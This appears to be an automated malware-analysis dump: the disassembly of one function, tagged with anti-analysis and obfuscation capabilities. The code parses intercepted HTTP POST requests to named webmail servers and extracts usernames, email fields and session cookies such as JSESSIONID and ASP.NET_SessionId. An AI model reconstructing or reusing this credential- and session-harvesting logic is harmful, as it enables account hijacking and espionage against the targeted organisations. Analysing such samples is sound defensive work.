Function at 0x59016b20
Capabilities:
Check for time delay via gettickcount
Check for time delay via queryperformancecounter
Contain obfuscated stackstrings
Encode data using base64
Move file
Resolve function by parsing pe exports

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x5914bf2b
push eax
mov eax, dword [esp + 0x24]
mov dword fs:[0], esp
sub esp, 0x178
test eax, eax
push ebx
push ebp
push esi
push edi
je 0x59016b4d
mov dword [eax], 0
mov ebp, dword [esp + 0x198]
mov esi, dword [esp + 0x19c]
test ebp, ebp
mov dword [esp + 0x144], ebp
mov dword [esp + 0x98], esi
je 0x5901ac9d
test esi, esi
je 0x5901ac9d
mov edi, 0x591892c4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x591892c4
push esi
push ebp
call fcn.5900d6d0
mov ebx, eax
add esp, 0x10
cmp ebx, 0xffffffff
je 0x5901ac9d
mov edi, 0x591892c4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x18], eax
mov edx, ecx
add edx, ebx
add edx, ebp
cmp byte [edx], 0xd
je 0x59016bf6
mov eax, esi
sub eax, ebx
mov dword [esp + 0x44], eax
mov edi, 0x591892c4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x44]
not ecx
dec ecx
sub eax, ecx
mov ecx, dword [esp + 0x18]
cmp ecx, eax
jge 0x59016bf6
mov eax, ecx
mov cl, byte [eax + edx + 1]
inc eax
cmp cl, 0xd
mov dword [esp + 0x18], eax
jne 0x59016bc9
mov edi, 0x591892c4
or ecx, 0xffffffff
xor eax, eax
mov edx, esi
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x18]
sub edx, ebx
not ecx
dec ecx
sub edx, ecx
cmp eax, edx
jge 0x5901ac9d
test eax, eax
jle 0x5901ac9d
mov eax, dword [0x59162880]
mov dword [esp + 0x20], eax
mov edi, str.exchange
or ecx, 0xffffffff
xor eax, eax
xor ebx, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, str.POST__
push ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push str.exchange
add ecx, ebp
mov dword [esp + 0x198], ebx
push ecx
call fcn.590952c0
add esp, 0xc
test eax, eax
jne 0x59016cc0
mov edi, str.POST__exchange_
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
xor edx, edx
add ecx, ebp
cmp esi, ebx
jle 0x59016c8b
mov al, byte [ecx + edx]
cmp al, 0x2f
je 0x59016c8b
cmp al, 0xd
je 0x59016c8b
cmp al, 0xa
je 0x59016c8b
inc edx
cmp edx, esi
jl 0x59016c77
push edx
push ecx
lea ecx, [esp + 0x84]
call fcn.590a5cf0
lea ecx, [esp + 0x7c]
mov byte [esp + 0x190], 1
push ecx
lea ecx, [esp + 0x24]
call fcn.590a63d0
lea ecx, [esp + 0x7c]
mov byte [esp + 0x190], 0
call fcn.590a6240
push str.Content_Type:_multipart_form_data__boundary
push esi
push ebp
call fcn.5900f930
mov edx, eax
add esp, 0xc
cmp edx, 0xffffffff
jne 0x59016cf0
push 0x591892e4
push esi
push ebp
call fcn.5900f930
mov edx, eax
add esp, 0xc
cmp edx, 0xffffffff
je 0x5901ac89
mov edi, str.Content_Type:_multipart_form_data__boundary
or ecx, 0xffffffff
xor eax, eax
push 0x59188854
repne scasb al, byte es:[edi]
not ecx
dec ecx
add edx, ecx
mov ecx, esi
sub ecx, edx
lea eax, [edx + ebp]
push ecx
push eax
mov dword [esp + 0x88], eax
call fcn.5900f930
add esp, 0xc
cmp eax, 0xffffffff
mov dword [esp + 0x70], eax
je 0x5901ac89
push esi
push ebp
call fcn.59016920
push 0x591892c4
push esi
push ebp
mov dword [esp + 0x130], eax
mov dword [esp + 0x188], ebx
mov dword [esp + 0xa8], ebx
mov dword [esp + 0xbc], ebx
mov dword [esp + 0xd8], ebx
mov dword [esp + 0xb4], ebx
mov dword [esp + 0x60], ebx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x128], ebx
mov dword [esp + 0xa4], ebx
call fcn.5900f930
mov edx, eax
add esp, 0x14
cmp edx, 0xffffffff
je 0x59016fef
mov edi, 0x591892c4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, str.mail.peteco.com.cn
add edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea esi, [edx + ebp]
push ecx
push str.mail.peteco.com.cn
push esi
call fcn.590952c0
add esp, 0xc
test eax, eax
jne 0x59016dcb
mov dword [esp + 0x94], 1
mov edi, str.mysinamail.sina.com.hk
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.mysinamail.sina.com.hk
push esi
call fcn.590952c0
add esp, 0xc
test eax, eax
jne 0x59016df8
mov dword [esp + 0xa8], 1
mov edi, str.win.mail.ru
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.win.mail.ru
push esi
call fcn.590952c0
add esp, 0xc
test eax, eax
jne 0x59016e25
mov dword [esp + 0xc4], 1
mov edi, str.mail.chinapatentoffice.cn
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.mail.chinapatentoffice.cn
push esi
call fcn.590952c0
add esp, 0xc
test eax, eax
je 0x59016e69
mov edi, str.mail.chengyh.com
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.mail.chengyh.com
push esi
call fcn.590952c0
add esp, 0xc
test eax, eax
jne 0x59016e74
mov dword [esp + 0x174], 1
mov edi, str.mail.dycf.cn
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.mail.dycf.cn
push esi
call fcn.590952c0
add esp, 0xc
test eax, eax
jne 0x59016ea1
mov dword [esp + 0x90], 1
mov edi, str.dx.anhuily.com
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.dx.anhuily.com
push esi
call fcn.590952c0
add esp, 0xc
test eax, eax
jne 0x59016ece
mov dword [esp + 0xa0], 1
mov edi, str.webmail.hebmc.com
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.webmail.hebmc.com
push esi
call fcn.590952c0
add esp, 0xc
test eax, eax
jne 0x59016ef8
mov dword [esp + 0x4c], 1
mov edi, str.10.129.255.30:8080
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.10.129.255.30:8080
push esi
call fcn.590952c0
add esp, 0xc
test eax, eax
jne 0x59016f22
mov dword [esp + 0x4c], 1
mov edx, dword [0x591ad6fc]
lea ecx, [esp + 0x14]
push edx
call fcn.590a0760
mov ecx, dword [esp + 0x14]
mov byte [esp + 0x190], 2
mov eax, dword [ecx - 8]
cmp eax, ebx
je 0x59016f5c
mov ebx, dword [esp + 0x18]
push eax
push ecx
push ebx
push esi
call fcn.5900d6d0
add esp, 0x10
cmp eax, 0xffffffff
jne 0x59016f84
jmp 0x59016f60
mov ebx, dword [esp + 0x18]
mov edi, str.intra.panasonic.cn
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.intra.panasonic.cn
push ebx
push esi
call fcn.5900d6d0
add esp, 0x10
cmp eax, 0xffffffff
je 0x59016f8c
mov dword [esp + 0x30], 1
mov edi, str..263.net
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str..263.net
push ebx
push esi
call fcn.5900d6d0
add esp, 0x10
cmp eax, 0xffffffff
jne 0x59016fd3
or ecx, eax
mov edi, str..263.com
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str..263.com
push ebx
push esi
call fcn.5900d6d0
add esp, 0x10
cmp eax, 0xffffffff
je 0x59016fde
mov dword [esp + 0x114], 1
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 0
call fcn.590a0ec0
mov eax, dword [esp + 0x19c]
push str.OA_USER_ID
push eax
push ebp
call fcn.5900f930
mov ebx, eax
add esp, 0xc
cmp ebx, 0xffffffff
je 0x590170b7
mov edi, str.OA_USER_ID
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edx, ecx
add edx, ebx
add edx, ebp
mov al, byte [edx]
cmp al, 0x3b
je 0x590170b7
cmp al, 0xd
je 0x59017063
cmp byte [esi + edx + 1], 0xa
je 0x59017063
mov edi, str.OA_USER_ID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x19c]
not ecx
dec ecx
sub eax, ebx
sub eax, ecx
cmp esi, eax
jge 0x59017063
mov al, byte [esi + edx + 1]
inc esi
cmp al, 0x3b
jne 0x59017031
test esi, esi
jle 0x590170b7
mov edi, str.OA_USER_ID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x19c]
not ecx
dec ecx
sub eax, ebx
sub eax, ecx
cmp esi, eax
jge 0x590170b7
push esi
push edx
lea ecx, [esp + 0x1c]
call fcn.590a5cf0
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 3
push ecx
lea ecx, [esp + 0x24]
call fcn.590a63d0
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 0
call fcn.590a6240
mov edx, dword [0x59162880]
mov dword [esp + 0x60], edx
mov eax, dword [esp + 0x30]
mov byte [esp + 0x190], 4
test eax, eax
je 0x59017168
mov edi, str.mail
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, str.POST__
push ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push str.mail
add ecx, ebp
push ecx
call fcn.590952c0
add esp, 0xc
test eax, eax
jne 0x59017168
mov edi, str.POST__mail_
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov esi, dword [esp + 0x19c]
xor edx, edx
not ecx
dec ecx
add ecx, ebp
test esi, esi
jle 0x59017136
mov al, byte [ecx + edx]
cmp al, 0x2f
je 0x59017136
cmp al, 0xd
je 0x59017136
cmp al, 0xa
je 0x59017136
inc edx
cmp edx, esi
jl 0x59017122
push edx
push ecx
lea ecx, [esp + 0x1c]
call fcn.590a5cf0
lea eax, [esp + 0x14]
lea ecx, [esp + 0x60]
push eax
mov byte [esp + 0x194], 5
call fcn.590a63d0
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 4
call fcn.590a6240
mov ecx, dword [esp + 0x19c]
push str.id_pchome
push ecx
push ebp
call fcn.5900f930
mov ebx, eax
add esp, 0xc
cmp ebx, 0xffffffff
je 0x59017231
mov edi, str.id_pchome
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edx, ecx
add edx, ebx
add edx, ebp
cmp byte [edx], 0x3b
je 0x59017231
mov eax, dword [esp + 0x19c]
sub eax, ebx
mov dword [esp + 0x44], eax
mov ebx, eax
mov edi, str.id_pchome
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov eax, ebx
sub eax, ecx
cmp esi, eax
jge 0x590171d8
mov al, byte [esi + edx + 1]
inc esi
cmp al, 0x3b
jne 0x590171b8
test esi, esi
jle 0x59017231
mov edi, str.id_pchome
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
sub ebx, ecx
cmp esi, ebx
jge 0x59017231
push esi
push edx
lea ecx, [esp + 0x1c]
call fcn.590a5cf0
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 6
push ecx
lea ecx, [esp + 0x24]
call fcn.590a63d0
push str._pchome.com.tw
lea ecx, [esp + 0x24]
call fcn.590a6e90
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 4
call fcn.590a6240
mov edx, dword [esp + 0x19c]
push str.EMAIL
push edx
push ebp
call fcn.5900f930
mov ebx, eax
add esp, 0xc
cmp ebx, 0xffffffff
je 0x590172f7
mov edi, str.EMAIL
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edx, ecx
add edx, ebx
add edx, ebp
cmp byte [edx], 0x26
je 0x590172f7
mov eax, dword [esp + 0x19c]
sub eax, ebx
mov dword [esp + 0x44], eax
mov ebx, eax
mov edi, str.EMAIL
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov eax, ebx
sub eax, ecx
cmp esi, eax
jge 0x590172ac
mov al, byte [esi + edx]
cmp al, 0xd
je 0x590172f7
cmp al, 0xa
je 0x590172f7
mov al, byte [esi + edx + 1]
inc esi
cmp al, 0x26
jne 0x59017281
test esi, esi
jle 0x590172f7
mov edi, str.EMAIL
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
sub ebx, ecx
cmp esi, ebx
jge 0x590172f7
push esi
push edx
lea ecx, [esp + 0x1c]
call fcn.590a5cf0
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 7
push ecx
lea ecx, [esp + 0x24]
call fcn.590a63d0
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 4
call fcn.590a6240
mov edi, str.cookie:
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x19c]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.cookie:
push edx
push ebp
call fcn.5900d6d0
mov esi, eax
add esp, 0x10
cmp esi, 0xffffffff
je 0x59017504
mov eax, dword [esp + 0x4c]
test eax, eax
je 0x59017504
mov edi, 0x591892bc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x19c]
not ecx
dec ecx
push ecx
push 0x591892bc
push eax
push ebp
call fcn.5900d6d0
add esp, 0x10
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
je 0x59017504
cmp eax, esi
jle 0x59017504
mov edi, str.username
or ecx, 0xffffffff
xor eax, eax
lea edx, [esi + ebp]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
mov ecx, dword [esp + 0x1a0]
sub ecx, esi
push str.username
push ecx
push edx
call fcn.5900d6d0
mov ebx, eax
add esp, 0x10
cmp ebx, 0xffffffff
je 0x59017504
mov ecx, dword [esp + 0x14]
lea eax, [ebx + esi]
cmp eax, ecx
jge 0x59017504
mov cl, byte [eax + ebp - 1]
cmp cl, 0xa
je 0x590173e8
cmp cl, 0x3b
je 0x590173e8
cmp cl, 0x20
jne 0x590173d3
mov al, byte [eax + ebp - 2]
cmp al, 0xa
je 0x590173e8
cmp al, 0x3b
je 0x590173e8
mov edi, str.username
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
add ecx, ebx
add esi, ecx
jmp 0x5901736f
mov edi, str.username
or ecx, 0xffffffff
xor eax, eax
xor ebp, ebp
repne scasb al, byte es:[edi]
not ecx
mov edi, dword [esp + 0x198]
dec ecx
mov edx, ecx
add edx, ebx
add edx, esi
add edx, edi
mov al, byte [edx]
cmp al, 0x3b
je 0x5901743b
cmp al, 0xd
je 0x5901743b
mov edi, str.username
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x19c]
not ecx
sub eax, ebx
dec ecx
sub eax, esi
sub eax, ecx
cmp ebp, eax
jge 0x5901743b
mov al, byte [edx + ebp + 1]
inc ebp
cmp al, 0x3b
jne 0x5901740e
mov edi, str.username
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x19c]
not ecx
sub eax, ebx
dec ecx
sub eax, esi
sub eax, ecx
cmp ebp, eax
jge 0x590174fd
push ebp
push edx
lea ecx, [esp + 0x2c]
call fcn.590a0970
push ecx
lea edx, [esp + 0x28]
mov bl, 8
mov ecx, esp
mov dword [esp + 0x38], esp
push edx
mov byte [esp + 0x198], bl
call fcn.590a0490
lea eax, [esp + 0x84]
mov byte [esp + 0x194], bl
push eax
call fcn.5900b190
add esp, 8
push eax
lea ecx, [esp + 0x28]
mov byte [esp + 0x194], 0xa
call fcn.590a1040
lea ecx, [esp + 0x80]
mov byte [esp + 0x190], bl
call fcn.590a0ec0
mov ecx, dword [esp + 0x24]
push ecx
lea ecx, [esp + 0x24]
call fcn.590a65a0
push 0x40
lea ecx, [esp + 0x24]
call fcn.590a7340
cmp eax, 0xffffffff
jne 0x590174ec
push 0x59189c24
lea ecx, [esp + 0x24]
call fcn.590a6e90
lea ecx, [esp + 0x24]
mov byte [esp + 0x190], 4
call fcn.590a0ec0
mov ebp, dword [esp + 0x198]
mov eax, dword [esp + 0x90]
test eax, eax
je 0x590175d1
push 0x591ac690
lea ecx, [esp + 0x1c]
call fcn.590a5940
push 1
push ecx
mov ecx, esp
mov dword [esp + 0x3c], esp
push 0x59189c20
mov byte [esp + 0x19c], 0xb
call fcn.590a0590
mov ebx, dword [esp + 0x1a4]
lea edx, [esp + 0x20]
push edx
push ebx
push ebp
mov byte [esp + 0x1a4], 0xb
call fcn.590251b0
mov eax, dword [esp + 0x2c]
add esp, 0x14
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x590175be
push str.dycf.cn
lea ecx, [esp + 0x1c]
call fcn.590a7420
mov edx, eax
mov edi, 0x59189c08
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
add edx, ecx
lea ecx, [esp + 0x80]
push edx
push ecx
lea ecx, [esp + 0x20]
call fcn.590a8980
push eax
lea ecx, [esp + 0x24]
mov byte [esp + 0x194], 0xd
call fcn.590a63d0
lea ecx, [esp + 0x80]
mov byte [esp + 0x190], 0xb
call fcn.590a6240
lea ecx, [esp + 0x18]
mov byte [esp + 0x190], 4
call fcn.590a6240
jmp 0x590175d8
mov ebx, dword [esp + 0x19c]
mov eax, dword [0x59162880]
mov dword [esp + 0x5c], eax
mov byte [esp + 0x190], 0xe
mov dword [esp + 0x58], eax
mov edi, str.cookie:
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0x190], 0xf
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.cookie:
push ebx
push ebp
call fcn.5900d6d0
mov esi, eax
mov eax, dword [esp + 0x5c]
add esp, 0x10
test eax, eax
je 0x59017790
cmp esi, 0xffffffff
je 0x59017790
mov edi, 0x591892bc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x591892bc
push ebx
push ebp
call fcn.5900d6d0
add esp, 0x10
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
je 0x59017790
cmp eax, esi
jle 0x59017790
mov edi, str.asp.net_sessionid
or ecx, 0xffffffff
xor eax, eax
mov edx, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
sub edx, esi
push ecx
push str.asp.net_sessionid
lea eax, [esi + ebp]
push edx
push eax
call fcn.5900d6d0
add esp, 0x10
cmp eax, 0xffffffff
mov dword [esp + 0x24], eax
je 0x59017790
mov ecx, eax
mov eax, dword [esp + 0x14]
add ecx, esi
cmp ecx, eax
jge 0x59017790
mov edi, str.asp.net_sessionid
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x18], eax
mov edx, ecx
mov ecx, dword [esp + 0x24]
add edx, ecx
add edx, esi
add edx, ebp
mov al, byte [edx]
cmp al, 0x3b
je 0x590176fc
cmp al, 0xd
je 0x590176fc
mov edi, str.asp.net_sessionid
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x24]
mov eax, ebx
not ecx
sub eax, edi
dec ecx
sub eax, esi
sub eax, ecx
mov ecx, dword [esp + 0x18]
cmp ecx, eax
jge 0x590176fc
mov eax, ecx
inc eax
mov dword [esp + 0x18], eax
mov al, byte [eax + edx]
cmp al, 0x3b
jne 0x590176c7
mov edi, str.asp.net_sessionid
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x24]
mov eax, ebx
not ecx
sub eax, edi
dec ecx
sub eax, esi
sub eax, ecx
mov ecx, dword [esp + 0x18]
cmp ecx, eax
jge 0x59017790
push ecx
push edx
lea ecx, [esp + 0x70]
call fcn.590a0970
push ecx
lea edx, [esp + 0x6c]
mov ecx, esp
mov dword [esp + 0x38], esp
push edx
mov byte [esp + 0x198], 0x10
call fcn.590a0490
lea eax, [esp + 0x18]
mov byte [esp + 0x194], 0x10
push eax
call fcn.5900b190
add esp, 8
mov ecx, dword [esp + 0x14]
mov byte [esp + 0x190], 0x12
push ecx
lea ecx, [esp + 0x60]
call fcn.590a65a0
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 0x10
call fcn.590a0ec0
lea ecx, [esp + 0x68]
mov byte [esp + 0x190], 0xf
call fcn.590a0ec0
mov edx, dword [0x59162880]
mov dword [esp + 0x50], edx
mov edi, str.cookie:
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0x190], 0x13
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.cookie:
push ebx
push ebp
call fcn.5900d6d0
mov esi, eax
mov eax, dword [esp + 0x124]
add esp, 0x10
test eax, eax
je 0x59017aea
cmp esi, 0xffffffff
je 0x59017944
mov edi, 0x591892bc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x591892bc
push ebx
push ebp
call fcn.5900d6d0
add esp, 0x10
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
je 0x59017944
cmp eax, esi
jle 0x59017944
mov edi, str.JSESSIONID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov eax, ebx
push ecx
sub eax, esi
push str.JSESSIONID
lea ecx, [esi + ebp]
push eax
push ecx
call fcn.5900d6d0
add esp, 0x10
cmp eax, 0xffffffff
mov dword [esp + 0x24], eax
je 0x59017944
mov edx, eax
mov eax, dword [esp + 0x14]
add edx, esi
cmp edx, eax
jge 0x59017944
mov edi, str.JSESSIONID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x18], eax
mov edx, ecx
mov ecx, dword [esp + 0x24]
add edx, ecx
add edx, esi
add edx, ebp
mov al, byte [edx]
cmp al, 0x3b
je 0x590178b0
cmp al, 0xd
je 0x590178b0
cmp al, 0x21
je 0x590178b0
mov edi, str.JSESSIONID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x24]
mov eax, ebx
not ecx
sub eax, edi
dec ecx
sub eax, esi
sub eax, ecx
mov ecx, dword [esp + 0x18]
cmp ecx, eax
jge 0x590178b0
mov eax, ecx
inc eax
mov dword [esp + 0x18], eax
mov al, byte [eax + edx]
cmp al, 0x3b
jne 0x59017877
mov edi, str.JSESSIONID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x24]
mov eax, ebx
not ecx
sub eax, edi
dec ecx
sub eax, esi
sub eax, ecx
mov ecx, dword [esp + 0x18]
cmp ecx, eax
jge 0x59017944
push ecx
push edx
lea ecx, [esp + 0x70]
call fcn.590a0970
push ecx
lea edx, [esp + 0x6c]
mov ecx, esp
mov dword [esp + 0x38], esp
push edx
mov byte [esp + 0x198], 0x14
call fcn.590a0490
lea eax, [esp + 0x18]
mov byte [esp + 0x194], 0x14
push eax
call fcn.5900b190
add esp, 8
mov ecx, dword [esp + 0x14]
mov byte [esp + 0x190], 0x16
push ecx
lea ecx, [esp + 0x54]
call fcn.590a65a0
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 0x14
call fcn.590a0ec0
lea ecx, [esp + 0x68]
mov byte [esp + 0x190], 0x13
call fcn.590a0ec0
mov edx, dword [esp + 0x50]
mov eax, dword [edx - 8]
test eax, eax
jne 0x59017aea
mov edi, str.POST__
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.POST__
push ebx
push ebp
call fcn.5900d6d0
mov esi, eax
add esp, 0x10
cmp esi, 0xffffffff
je 0x59017aea
mov edi, 0x591892bc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x591892bc
push ebx
push ebp
call fcn.5900d6d0
add esp, 0x10
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
je 0x59017aea
cmp eax, esi
jle 0x59017aea
mov edi, str.SESSIONID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov eax, ebx
push ecx
sub eax, esi
push str.SESSIONID
lea ecx, [esi + ebp]
push eax
push ecx
call fcn.5900d6d0
add esp, 0x10
cmp eax, 0xffffffff
mov dword [esp + 0x24], eax
je 0x59017aea
mov edx, eax
mov eax, dword [esp + 0x14]
add edx, esi
cmp edx, eax
jge 0x59017aea
mov edi, str.SESSIONID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x18], eax
mov edx, ecx
mov ecx, dword [esp + 0x24]
add edx, ecx
add edx, esi
add edx, ebp
mov al, byte [edx]
cmp al, 0x3b
je 0x59017a56
cmp al, 0xd
je 0x59017a56
cmp al, 0x21
je 0x59017a56
cmp al, 0x3f
je 0x59017a56
mov edi, str.SESSIONID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x24]
mov eax, ebx
not ecx
sub eax, edi
dec ecx
sub eax, esi
sub eax, ecx
mov ecx, dword [esp + 0x18]
cmp ecx, eax
jge 0x59017a56
mov eax, ecx
inc eax
mov dword [esp + 0x18], eax
mov al, byte [eax + edx]
cmp al, 0x3b
jne 0x59017a19
mov edi, str.SESSIONID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x24]
mov eax, ebx
not ecx
sub eax, edi
dec ecx
sub eax, esi
sub eax, ecx
mov ecx, dword [esp + 0x18]
cmp ecx, eax
jge 0x59017aea
push ecx
push edx
lea ecx, [esp + 0x70]
call fcn.590a0970
push ecx
lea edx, [esp + 0x6c]
mov ecx, esp
mov dword [esp + 0x38], esp
push edx
mov byte [esp + 0x198], 0x17
call fcn.590a0490
lea eax, [esp + 0x18]
mov byte [esp + 0x194], 0x17
push eax
call fcn.5900b190
add esp, 8
mov ecx, dword [esp + 0x14]
mov byte [esp + 0x190], 0x19
push ecx
lea ecx, [esp + 0x54]
call fcn.590a65a0
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 0x17
call fcn.590a0ec0
lea ecx, [esp + 0x68]
mov byte [esp + 0x190], 0x13
call fcn.590a0ec0
push 0x591892bc
push ebx
push ebp
call fcn.5900f930
mov edx, eax
add esp, 0xc
cmp edx, 0xffffffff
je 0x5901ac45
mov edi, 0x591892bc
or ecx, 0xffffffff
xor eax, eax
push str.PostCharset
repne scasb al, byte es:[edi]
not ecx
dec ecx
add edx, ecx
sub ebx, edx
add ebp, edx
push ebx
push ebp
mov dword [esp + 0x1a4], ebp
mov dword [esp + 0x1a8], ebx
call fcn.5900f930
mov esi, eax
add esp, 0xc
cmp esi, 0xffffffff
je 0x59017bd1
mov edi, str.PostCharset
or ecx, 0xffffffff
xor eax, eax
mov edx, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0x591892bc
add esi, ecx
sub edx, esi
lea eax, [esi + ebp]
push edx
push eax
call fcn.5900f930
mov edx, eax
add esp, 0xc
cmp edx, 0xffffffff
je 0x59017bd1
mov edi, 0x591892bc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x59189434
add ecx, edx
add esi, ecx
or ecx, 0xffffffff
add esi, ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x59189434
push esi
call fcn.590952c0
add esp, 0xc
test eax, eax
je 0x59017bc6
mov edi, str.utf8
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.utf8
push esi
call fcn.590952c0
add esp, 0xc
test eax, eax
jne 0x59017bd1
mov dword [esp + 0x94], 1
push str.OPT4
push ebx
push ebp
mov dword [esp + 0x130], 0
call fcn.5900f930
mov esi, eax
add esp, 0xc
cmp esi, 0xffffffff
je 0x59017c60
mov edi, str.OPT4
or ecx, 0xffffffff
xor eax, eax
push 0x591892bc
repne scasb al, byte es:[edi]
not ecx
dec ecx
add esi, ecx
mov ecx, ebx
sub ecx, esi
lea edx, [esi + ebp]
push ecx
push edx
call fcn.5900f930
mov edx, eax
add esp, 0xc
cmp edx, 0xffffffff
je 0x59017c60
mov edi, 0x591892bc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x59189be4
add ecx, edx
add esi, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
add esi, ebp
push ecx
push 0x59189be4
push esi
call fcn.590952c0
add esp, 0xc
test eax, eax
jne 0x59017c60
mov dword [esp + 0x124], 1
mov edx, dword [esp + 0x70]
mov esi, dword [esp + 0x7c]
xor eax, eax
lea ecx, [esp + 0xb0]
mov dword [esp + 0xb0], eax
